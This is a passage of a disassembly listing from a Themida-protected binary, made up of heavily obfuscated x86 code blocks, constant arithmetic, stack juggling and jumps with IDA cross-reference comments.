		jmp	loc_597815
; ---------------------------------------------------------------------------


loc_5A0654:				; CODE XREF: Themida_:0059FA97j
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	edi, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_5A45DF
; ---------------------------------------------------------------------------


loc_5A066A:				; CODE XREF: Themida_:005A4DC7j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5964C1
; ---------------------------------------------------------------------------


loc_5A0678:				; CODE XREF: Themida_:005A0782j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	eax
		push	1CD30167h
		pop	eax
		mov	ebx, eax
		jmp	loc_5A4AD3
; ---------------------------------------------------------------------------


loc_5A0690:				; CODE XREF: Themida_:005997CEj
		mov	[esp], esi
		mov	esi, 31A406BBh
		push	edi
		mov	edi, 491A7F5Ah
		jmp	loc_59974D
; ---------------------------------------------------------------------------


loc_5A06A3:				; CODE XREF: Themida_:00594413j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		push	563Ah
		jmp	loc_593F66
; ---------------------------------------------------------------------------


loc_5A06C1:				; CODE XREF: Themida_:0059428Ej
		add	ebp, 1
		dec	ebp
		and	ebp, 6CA25F66h
		or	ebp, 36B129F4h
		add	ebp, 0BDC51869h
		mov	edx, ebp
		jmp	loc_59F049
; ---------------------------------------------------------------------------


loc_5A06E1:				; CODE XREF: Themida_:0059F226j
		pop	esp
		push	2A57h
		mov	[esp], esi
		xchg	ecx, [esp]
		push	ecx
		jmp	loc_59608A
; ---------------------------------------------------------------------------


loc_5A06F3:				; CODE XREF: Themida_:005A0CD3j
		add	esp, 4
		push	1E88h
		jmp	loc_5999C7
; ---------------------------------------------------------------------------


loc_5A0703:				; CODE XREF: Themida_:00591D0Cj
		shl	ebp, 5
		add	ebp, 0CCFB760Ah
		sub	eax, 62E247EDh
		jmp	loc_5946DD
; ---------------------------------------------------------------------------


loc_5A0716:				; CODE XREF: Themida_:0059D1CFj
		pop	ebx
		pop	eax
		jmp	loc_59BAD0
; ---------------------------------------------------------------------------


loc_5A071D:				; CODE XREF: Themida_:00598540j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59F670
; ---------------------------------------------------------------------------


loc_5A0726:				; CODE XREF: Themida_:005960A6j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	al, 0Fh
		sub	cl, 32h
		add	cl, al
		add	cl, 32h
		pop	eax
		sub	al, 0B1h
		sub	al, cl
		add	al, 0B1h
		pop	ecx
		push	edx
		push	esp
		pop	edx
		jmp	loc_59060D
; ---------------------------------------------------------------------------


loc_5A0747:				; CODE XREF: Themida_:0059812Dj
		push	edx
		mov	edx, 46C13293h
		dec	edx
		inc	edx
		and	edx, 3989506Bh
		sub	edx, 42424Bh
		sub	ebp, edx
		pop	edx
		add	esi, ebp
		jmp	loc_59C8A8
; ---------------------------------------------------------------------------


loc_5A0765:				; CODE XREF: Themida_:0059FE70j
		mov	[esp], edi
		push	ebp
		sub	dword ptr [esp], 5A3A4EE7h
		pop	edi
		jmp	loc_5A39BF
; ---------------------------------------------------------------------------


loc_5A0776:				; CODE XREF: Themida_:0059AE86j
		pop	esp
		xchg	esi, [edi+24h]


loc_5A077A:				; CODE XREF: Themida_:0059C9D3j
		push	ebx
		xor	dword ptr [esp], 26EE0A25h
		jmp	loc_5A0678
; ---------------------------------------------------------------------------


loc_5A0787:				; CODE XREF: Themida_:0059AAD2j
		xor	bl, 0DCh
		sub	dl, 21h
		sub	dl, bl
		add	dl, 21h
		mov	ebx, [esp]
		jmp	loc_592477
; ---------------------------------------------------------------------------


loc_5A079A:				; CODE XREF: Themida_:00597106j
		add	ecx, 705C40E0h
		add	ecx, 0B4FEB0A2h
		sub	edx, ecx
		jmp	loc_5A3078
; ---------------------------------------------------------------------------


loc_5A07AD:				; CODE XREF: Themida_:0059BF49j
		mov	cl, dh
		pop	edx
		mov	bl, dh
		pop	edx
		push	edx
		push	ecx
		mov	cl, 18h
		jmp	loc_5A0B1C
; ---------------------------------------------------------------------------


loc_5A07BC:				; CODE XREF: Themida_:0059FAC7j
		push	dword ptr [esp]
		jmp	loc_59F162
; ---------------------------------------------------------------------------


loc_5A07C4:				; CODE XREF: Themida_:0059578Aj
		mov	eax, [esp]
		add	esp, 4
		inc	dl
		dec	dl
		push	ebx
		mov	bl, 16h
		jmp	loc_590369
; ---------------------------------------------------------------------------


loc_5A07D6:				; CODE XREF: Themida_:0059614Aj
		add	eax, esi
		pop	esi
		jmp	loc_5A34C9
; ---------------------------------------------------------------------------


loc_5A07DE:				; CODE XREF: Themida_:0059FEEAj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A07F5:				; CODE XREF: Themida_:00591F5Ej
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_59DDAD
; ---------------------------------------------------------------------------


loc_5A080B:				; CODE XREF: Themida_:00599EC0j
		xor	ecx, 7639157Eh
		xor	ecx, 0BCE1D33h
		sub	ecx, 0EFE80C89h
		sub	edi, ecx
		pop	ecx
		jmp	loc_5A56E2
; ---------------------------------------------------------------------------


loc_5A0825:				; CODE XREF: Themida_:005A12E5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59EC7C
; ---------------------------------------------------------------------------


loc_5A0831:				; CODE XREF: Themida_:005A1C51j
		mov	[esp], ecx
		mov	ecx, 7489525Eh
		not	ecx
		jmp	loc_5980D3
; ---------------------------------------------------------------------------


loc_5A0840:				; CODE XREF: Themida_:00598396j
		pop	ecx
		mov	ecx, 0F214FD90h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	932h
		mov	[esp], ebx
		jmp	loc_59F06F
; ---------------------------------------------------------------------------


loc_5A0874:				; CODE XREF: Themida_:0059BEB9j
		mov	edi, esp
		push	3FCh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_593DD7
; ---------------------------------------------------------------------------


loc_5A088C:				; CODE XREF: Themida_:005A224Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	408Ah
		mov	[esp], ecx
		push	7FA13EFEh
		pop	ecx
		sub	esp, 4
		jmp	loc_59B8F2
; ---------------------------------------------------------------------------


loc_5A08A8:				; CODE XREF: Themida_:0059845Dj
		pop	ecx
		pop	edx
		add	ebx, edi
		add	ebx, 176755C0h
		jmp	loc_59ED21
; ---------------------------------------------------------------------------


loc_5A08B7:				; CODE XREF: Themida_:0059334Ej
		shr	edx, 1
		add	edx, 68DA6814h
		jmp	loc_596F60
; ---------------------------------------------------------------------------


loc_5A08C4:				; CODE XREF: Themida_:0059F368j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_596889
; ---------------------------------------------------------------------------


loc_5A08D2:				; CODE XREF: Themida_:00598AE3j
		xchg	ebp, [esp]
		jmp	loc_59E199
; ---------------------------------------------------------------------------


loc_5A08DA:				; CODE XREF: Themida_:005A2E11j
		mov	[esp], ebp
		push	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A331B
; ---------------------------------------------------------------------------


loc_5A08EC:				; CODE XREF: Themida_:0059F3B2j
		mov	esp, [esp]
		jmp	loc_5907CA
; ---------------------------------------------------------------------------


loc_5A08F4:				; CODE XREF: Themida_:00591B19j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		dec	ecx
		jmp	loc_5A1757
; ---------------------------------------------------------------------------


loc_5A0904:				; CODE XREF: Themida_:0059E6FFj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A0909:				; CODE XREF: Themida_:005A564Aj
		shl	esi, 8
		push	eax
		push	ebx
		mov	ebx, 37312402h
		push	esi
		jmp	loc_593415
; ---------------------------------------------------------------------------


loc_5A0919:				; CODE XREF: Themida_:0059B7CAj
		add	bh, 87h
		push	small 1942h
		jmp	loc_5A09B7
; ---------------------------------------------------------------------------


loc_5A0925:				; CODE XREF: Themida_:005936ACj
		add	ch, dl
		jmp	loc_5A19B0
; ---------------------------------------------------------------------------


loc_5A092C:				; CODE XREF: Themida_:00590EE6j
		push	eax
		jmp	loc_59EB39
; ---------------------------------------------------------------------------


loc_5A0932:				; CODE XREF: Themida_:00591381j
		or	ecx, 2DE33D81h
		xor	ecx, 15C46EE5h
		xor	ecx, 6A2F2D35h
		add	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 15B86E05h
		push	edi
		mov	edi, 15B86E07h
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 0CF22A56h
		sub	ebp, eax
		pop	eax
		add	ebp, eax
		push	esi
		mov	esi, 76FD09FBh
		push	eax
		mov	eax, 7E5E4380h
		jmp	loc_591797
; ---------------------------------------------------------------------------


loc_5A0994:				; CODE XREF: Themida_:0059F204j
		push	3A26h
		mov	[esp], eax
		mov	eax, 38810780h
		xor	eax, 38810784h
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_59353A
; ---------------------------------------------------------------------------


loc_5A09B1:				; CODE XREF: Themida_:0059D7B9j
		pop	eax
		jmp	loc_5921E6
; ---------------------------------------------------------------------------


loc_5A09B7:				; CODE XREF: Themida_:005A0920j
		mov	[esp], cx
		mov	ch, 46h
		or	bh, ch
		mov	cx, [esp]
		jmp	loc_597DC4
; ---------------------------------------------------------------------------


loc_5A09C8:				; CODE XREF: Themida_:005A4DEEj
		sub	ebx, eax
		jmp	loc_59B21B
; ---------------------------------------------------------------------------


loc_5A09CF:				; CODE XREF: Themida_:00592C69j
		sub	edx, ecx
		jmp	loc_5917D9
; ---------------------------------------------------------------------------


loc_5A09D6:				; CODE XREF: Themida_:0059B74Ej
		not	dword ptr [esp]
		pop	edx
		sub	edx, 8F8409E3h
		add	esi, 59D53094h
		add	esi, edx
		sub	esi, 59D53094h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5964E3
; ---------------------------------------------------------------------------


loc_5A09F9:				; CODE XREF: Themida_:0059D2E5j
		add	esi, ecx
		pop	ecx
		add	esi, 3CCA2C93h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 17B50447h
		add	eax, 5B73861h
		sub	esp, 4
		jmp	loc_599E89
; ---------------------------------------------------------------------------


loc_5A0A20:				; CODE XREF: Themida_:0059FD13j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 11671141h
		add	ebx, ecx
		add	ebx, 11671141h
		jmp	loc_597277
; ---------------------------------------------------------------------------


loc_5A0A39:				; CODE XREF: Themida_:0059FA01j
		shr	ebp, 8
		jmp	loc_595244
; ---------------------------------------------------------------------------


loc_5A0A41:				; CODE XREF: Themida_:005A22CBj
		add	edx, 7E290C8Ch
		push	eax
		mov	eax, 0B8976195h
		xor	edx, eax
		pop	eax
		sub	edi, edx
		pop	edx
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A298C
; ---------------------------------------------------------------------------


loc_5A0A60:				; CODE XREF: Themida_:00590356j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B253
; ---------------------------------------------------------------------------


loc_5A0A6B:				; CODE XREF: Themida_:00598F52j
		pop	edi
		jmp	loc_59B28E
; ---------------------------------------------------------------------------


loc_5A0A71:				; CODE XREF: Themida_:00597A97j
		mov	eax, 3A0F77F7h
		sub	ebp, eax
		pop	eax
		sub	ebp, esi
		push	ecx
		jmp	loc_5994A3
; ---------------------------------------------------------------------------


loc_5A0A81:				; CODE XREF: Themida_:0059716Cj
		pop	edx
		add	eax, esi
		pop	esi
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------


loc_5A0A8A:				; CODE XREF: Themida_:005A4717j
		push	eax
		mov	eax, 2894B1Dh
		and	ebp, eax
		pop	eax
		jmp	loc_5943A0
; ---------------------------------------------------------------------------


loc_5A0A98:				; CODE XREF: Themida_:0059635Cj
		xor	esi, 64FF9E36h
		add	edx, esi
		jmp	loc_596D0D
; ---------------------------------------------------------------------------


loc_5A0AA5:				; CODE XREF: Themida_:005A18BEj
		mov	ecx, [esp]
		add	esp, 4
		sub	dh, 31h
		jmp	loc_5A3F6F
; ---------------------------------------------------------------------------


loc_5A0AB6:				; CODE XREF: Themida_:0059A526j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A1867
; ---------------------------------------------------------------------------


loc_5A0AC1:				; CODE XREF: Themida_:00598C21j
		neg	dl
		push	ebx
		mov	bh, 0DFh
		jmp	loc_594D23
; ---------------------------------------------------------------------------


loc_5A0ACB:				; CODE XREF: Themida_:005A2264j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0D70062Ah
		shr	edx, 3
		inc	edx
		shl	edx, 2
		push	ebx
		mov	ebx, 1
		sub	edx, ebx
		pop	ebx
		jmp	loc_5966F1
; ---------------------------------------------------------------------------


loc_5A0AF7:				; CODE XREF: Themida_:005920DAj
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	1C54h
		mov	[esp], ecx
		push	ebx
		push	5D88h
		mov	[esp], ecx
		mov	cl, 1Ah
		push	edx
		mov	dl, cl
		mov	bh, dl
		jmp	loc_59E91A
; ---------------------------------------------------------------------------


loc_5A0B1C:				; CODE XREF: Themida_:005A07B7j
		push	ebx
		mov	bh, 40h
		mov	dh, 0
		add	dh, bh
		jmp	loc_59DB28
; ---------------------------------------------------------------------------


loc_5A0B28:				; CODE XREF: Themida_:005958C2j
		push	edx
		push	4B8406B1h
		pop	edx
		push	ecx
		mov	ecx, 5DAD4738h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A28D2
; ---------------------------------------------------------------------------


loc_5A0B40:				; CODE XREF: Themida_:0059908Bj
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 55D62698h
		jmp	loc_591E6B
; ---------------------------------------------------------------------------


loc_5A0B52:				; CODE XREF: Themida_:0059CE50j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_59BF5B
; ---------------------------------------------------------------------------


loc_5A0B65:				; CODE XREF: Themida_:00595306j
		pop	ebx
		add	eax, esi
		mov	esi, [esp]
		push	26C1h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5903FD
; ---------------------------------------------------------------------------


loc_5A0B94:				; CODE XREF: Themida_:0059EC36j
		add	eax, ebp
		push	dword ptr [esp]
		jmp	$+5
		pop	ebp
		add	esp, 4
		jmp	loc_598DA5
; ---------------------------------------------------------------------------


loc_5A0BAA:				; CODE XREF: Themida_:005A23DFj
		add	edi, 0E540198h
		add	edi, ebx
		sub	edi, 0E540198h
		sub	edi, 748B3BD2h
		mov	ebx, [esp]
		jmp	loc_5A2E22
; ---------------------------------------------------------------------------


loc_5A0BC6:				; CODE XREF: Themida_:005948E6j
		push	4AD5h
		mov	[esp], esi
		jmp	loc_5A20CA
; ---------------------------------------------------------------------------


loc_5A0BD3:				; CODE XREF: Themida_:005A497Bj
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A0BF9:				; CODE XREF: Themida_:0059D4EEj
		push	6991h
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_594ACE
; ---------------------------------------------------------------------------


loc_5A0C08:				; CODE XREF: Themida_:00599A09j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_596E8B
; ---------------------------------------------------------------------------


loc_5A0C1A:				; CODE XREF: Themida_:005972B2j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5A1A47
; ---------------------------------------------------------------------------


loc_5A0C25:				; CODE XREF: Themida_:005A05B1j
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		pop	ebp
		add	eax, 0A8A1F41h
		jmp	loc_591F03
; ---------------------------------------------------------------------------


loc_5A0C35:				; CODE XREF: Themida_:00591B33j
		mov	esi, 6D2B6E48h
		jmp	loc_592051
; ---------------------------------------------------------------------------


loc_5A0C3F:				; CODE XREF: Themida_:005A11E7j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1EAB1C5Bh
		sub	esp, 4
		jmp	loc_5A5494
; ---------------------------------------------------------------------------


loc_5A0C59:				; CODE XREF: Themida_:005921E1j
		sub	ebp, 77D10D1Dh
		add	ebp, esi
		jmp	loc_596932
; ---------------------------------------------------------------------------


loc_5A0C66:				; CODE XREF: Themida_:005A406Dj
		mov	[esp], ebp
		jmp	loc_594BC1
; ---------------------------------------------------------------------------


loc_5A0C6E:				; CODE XREF: Themida_:005A0184j
		and	eax, ebx
		jmp	loc_59BD26
; ---------------------------------------------------------------------------


loc_5A0C75:				; CODE XREF: Themida_:005932C2j
		sub	ecx, eax
		pop	eax
		sub	ebx, 15303D2h
		jmp	loc_59A5FD
; ---------------------------------------------------------------------------


loc_5A0C83:				; CODE XREF: Themida_:005A471Dj
		mov	esi, 5C67A7Fh
		push	ebp
		jmp	loc_59D34B
; ---------------------------------------------------------------------------


loc_5A0C8E:				; CODE XREF: Themida_:005A10FCj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5990A0
; ---------------------------------------------------------------------------


loc_5A0C9C:				; CODE XREF: Themida_:00592D6Cj
		dec	cl
		xor	cl, 0EFh
		add	cl, 0CDh
		jmp	loc_59A0FB
; ---------------------------------------------------------------------------


loc_5A0CA9:				; CODE XREF: Themida_:005A2AC8j
		add	esp, 4
		push	edx
		jmp	loc_59E15D
; ---------------------------------------------------------------------------


loc_5A0CB2:				; CODE XREF: Themida_:00593DF5j
		mov	[esp], esi
		push	ebp
		mov	ebp, 2139081Ch
		push	eax
		mov	eax, 441E4CA9h
		neg	eax
		jmp	loc_59E3A6
; ---------------------------------------------------------------------------


loc_5A0CC8:				; CODE XREF: Themida_:0059C5C3j
		xor	esi, [esp]
		jmp	loc_5A104A
; ---------------------------------------------------------------------------


loc_5A0CD0:				; CODE XREF: Themida_:00594FFAj
		mov	edi, [esp]
		jmp	loc_5A06F3
; ---------------------------------------------------------------------------


loc_5A0CD8:				; CODE XREF: Themida_:0059252Bj
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A3435
; ---------------------------------------------------------------------------


loc_5A0CE4:				; CODE XREF: Themida_:0059435Dj
		xor	ecx, 176D12F7h
		jmp	loc_59A5E8
; ---------------------------------------------------------------------------


loc_5A0CEF:				; CODE XREF: Themida_:005996E0j
		sub	ebp, 14376Ch
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	ecx
		jmp	loc_5920F8
; ---------------------------------------------------------------------------


loc_5A0D05:				; CODE XREF: Themida_:00595ACCj
		pop	dword ptr [esp]
		jmp	loc_5A0531
; ---------------------------------------------------------------------------


loc_5A0D0D:				; CODE XREF: Themida_:00592AE2j
		add	ecx, edx
		pop	edx
		mov	ebp, ecx
		jmp	loc_5928DC
; ---------------------------------------------------------------------------


loc_5A0D17:				; CODE XREF: Themida_:005991D0j
		add	ecx, 4F3D4A6Fh
		add	ecx, 1C465924h
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [eax]
		add	dword ptr [eax], 556A1461h
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A0D38:				; CODE XREF: Themida_:0059654Ej
		xor	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_595538
; ---------------------------------------------------------------------------


loc_5A0D42:				; CODE XREF: Themida_:005A24D6j
		sub	dword ptr [esp], 78895657h
		pop	ebx
		push	edx
		push	edi
		mov	edi, 37E8440Dh
		mov	edx, 40A1124Ah
		add	edx, 1F4C19FDh
		jmp	loc_5A38BC
; ---------------------------------------------------------------------------


loc_5A0D61:				; CODE XREF: Themida_:0059E2E4j
		sub	al, 0CDh
		shr	al, 1
		sub	al, 92h
		mov	cl, al
		pop	eax
		push	edx
		mov	dl, 0D3h
		or	cl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dx
		mov	dh, 1Ch
		inc	dh
		push	5C6Fh
		mov	[esp], ecx
		mov	ch, 0Bh
		shr	ch, 5
		add	ch, 0FFh
		push	7766h
		mov	[esp], ebx
		jmp	loc_591564
; ---------------------------------------------------------------------------


loc_5A0D9C:				; CODE XREF: Themida_:005922E1j
		sub	ecx, 2043169Eh
		and	ecx, 6B8468EEh
		push	edx
		mov	edx, 2C3B2CDDh
		shl	edx, 8
		add	edx, 574B214Bh
		jmp	loc_59ED02
; ---------------------------------------------------------------------------


loc_5A0DBC:				; CODE XREF: Themida_:0059A5ABj
		mov	ebp, 38FF0698h
		and	ebp, 358D1ED3h
		or	ebp, 0CAC1981h
		dec	ebp
		not	ebp
		xor	ebp, 64BC7639h
		add	ebp, 875DB8FAh
		jmp	loc_5A3A47
; ---------------------------------------------------------------------------


loc_5A0DE1:				; CODE XREF: Themida_:0059848Dj
		mov	edx, esp
		add	edx, 4
		push	5B24h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_59BFF6
; ---------------------------------------------------------------------------


loc_5A0DFB:				; CODE XREF: Themida_:005A17E6j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, 6EBA1C44h
		jmp	loc_5A470E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_59FC5A
; ---------------------------------------------------------------------------


loc_5A0E1A:				; CODE XREF: Themida_:005A517Bj
		mov	bl, dh
		pop	edx
		not	bl
		mov	cl, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_599F09
; ---------------------------------------------------------------------------


loc_5A0E2D:				; CODE XREF: Themida_:00595F5Aj
		push	2B3676D4h
		pop	ecx
		sub	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 2C592651h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59629C
; ---------------------------------------------------------------------------


loc_5A0E4C:				; CODE XREF: Themida_:0059B828j
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_5A429F
; ---------------------------------------------------------------------------


loc_5A0E5B:				; CODE XREF: Themida_:0059088Aj
		add	eax, 433288Ch
		jmp	loc_5A53BB
; ---------------------------------------------------------------------------
		mov	dh, 1Dh
		xor	dh, 0E6h
		jmp	loc_59DD14
; ---------------------------------------------------------------------------


loc_5A0E6F:				; CODE XREF: Themida_:005A2BFDj
		push	edi
		mov	edi, 0D3B6B6Ah
		jmp	loc_5902D3
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	4777h
		mov	[esp], ebp
		push	6CB5h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_59350A
; ---------------------------------------------------------------------------


loc_5A0E9F:				; CODE XREF: Themida_:00591C05j
		pop	ebx
		add	esi, 3F41286Eh
		add	esi, 577C141Ah
		sub	esi, 0EE74BCh
		sub	esi, ebx
		add	esi, 0EE74BCh
		sub	esi, 577C141Ah
		sub	esi, 3F41286Eh
		jmp	loc_59A8CB
; ---------------------------------------------------------------------------


loc_5A0ECB:				; CODE XREF: Themida_:005A55CEj
		push	3B93h
		mov	[esp], ebp
		mov	ebp, 0B1227C0h
		xor	ebp, 51E36B25h
		dec	ebp
		jmp	loc_59E814
; ---------------------------------------------------------------------------


loc_5A0EE4:				; CODE XREF: Themida_:0059CB6Dj
		push	dword ptr [esp]
		mov	edi, [esp]
		push	edx
		jmp	loc_59DE29
; ---------------------------------------------------------------------------


loc_5A0EF0:				; CODE XREF: Themida_:0059227Bj
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		neg	ebp
		jmp	loc_598505
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_590ACA
; ---------------------------------------------------------------------------


loc_5A0F06:				; CODE XREF: Themida_:00594714j
		push	ebp
		mov	ebp, 37D80CE8h
		and	ebp, 1305658Dh
		xor	ebp, 4E8669BCh
		mov	ebx, ebp
		jmp	loc_5918B8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A0F2F:				; CODE XREF: Themida_:0059B1E9j
		mov	dh, bl
		mov	ch, dh
		pop	edx
		jmp	loc_59239B
; ---------------------------------------------------------------------------


loc_5A0F39:				; CODE XREF: Themida_:005919A2j
		pop	ecx
		push	esi
		pop	eax
		pop	esi
		jmp	loc_593088
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_594B20
; ---------------------------------------------------------------------------


loc_5A0F4B:				; CODE XREF: Themida_:00595D03j
		dec	ecx
		jmp	loc_599207
; ---------------------------------------------------------------------------


loc_5A0F51:				; CODE XREF: Themida_:005A2FADj
		pop	dword ptr [esp]
		push	edi
		jmp	loc_5A3DBA
; ---------------------------------------------------------------------------


loc_5A0F5A:				; CODE XREF: Themida_:005951DDj
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		push	6C09h
		mov	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_59916E
; ---------------------------------------------------------------------------


loc_5A0F77:				; CODE XREF: Themida_:005954ADj
		mov	cl, 39h
		push	edx
		mov	dl, cl
		push	ecx
		mov	ch, dl
		mov	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59DEC6
; ---------------------------------------------------------------------------


loc_5A0F8F:				; CODE XREF: Themida_:00596663j
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4A740B11h
		neg	ecx
		jmp	loc_59A00A
; ---------------------------------------------------------------------------


loc_5A0FA1:				; CODE XREF: Themida_:0059ADCBj
		mov	[edx], cl
		mov	ecx, [esp]
		jmp	loc_5939CD
; ---------------------------------------------------------------------------


loc_5A0FAB:				; CODE XREF: Themida_:0059CA0Dj
		mov	[esp], ebp
		mov	ebp, 59CE44D6h
		add	ebp, 228513B7h
		jmp	loc_59E553
; ---------------------------------------------------------------------------


loc_5A0FBE:				; CODE XREF: Themida_:0059B772j
		push	edi
		push	esp
		pop	edi
		push	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1AC55E49h
		push	3BFh
		mov	[esp], edi
		jmp	loc_599E75
; ---------------------------------------------------------------------------


loc_5A0FE7:				; CODE XREF: Themida_:005A492Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4A022F7Eh
		add	edi, 3EB96A20h
		sub	edi, 1
		xor	edi, 88BB9999h
		jmp	loc_5971B4
; ---------------------------------------------------------------------------


loc_5A1009:				; CODE XREF: Themida_:00597D26j
		push	ebx
		mov	ebx, 5A555187h
		neg	ebx
		and	ebx, 58906E2Fh
		jmp	loc_59D499
; ---------------------------------------------------------------------------


loc_5A101C:				; CODE XREF: Themida_:0059F753j
		mov	edi, 4
		jmp	loc_5955BE
; ---------------------------------------------------------------------------
		push	753Bh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	621Fh
		mov	[esp], eax
		push	edx
		pop	eax
		jmp	loc_5A2AAD
; ---------------------------------------------------------------------------


loc_5A104A:				; CODE XREF: Themida_:005A0CCBj
		xor	[esp], esi
		jmp	loc_5A0117
; ---------------------------------------------------------------------------


loc_5A1052:				; CODE XREF: Themida_:0059C538j
		pop	ebx
		and	ebx, 67096BFEh
		neg	ebx
		jmp	loc_5A56B5
; ---------------------------------------------------------------------------


loc_5A1060:				; CODE XREF: Themida_:005A39F0j
		add	[esp+8], edx
		sub	dword ptr [esp+8], 66C911A1h
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 54FB73ACh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 54FB73ACh
		jmp	loc_591F7F
; ---------------------------------------------------------------------------


loc_5A108B:				; CODE XREF: Themida_:0059692Dj
		push	dword ptr [esp]
		jmp	loc_5A53A6
; ---------------------------------------------------------------------------


loc_5A1093:				; CODE XREF: Themida_:005A1CABj
		mov	edx, ecx
		pop	ecx
		add	edx, 60D2391Dh
		not	edx
		shr	edx, 8
		push	esi
		jmp	loc_59E878
; ---------------------------------------------------------------------------


loc_5A10A7:				; CODE XREF: Themida_:0059BD05j
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_5A10C0:				; CODE XREF: Themida_:005A43FEj
		push	esi
		mov	esi, esp
		add	esi, 4
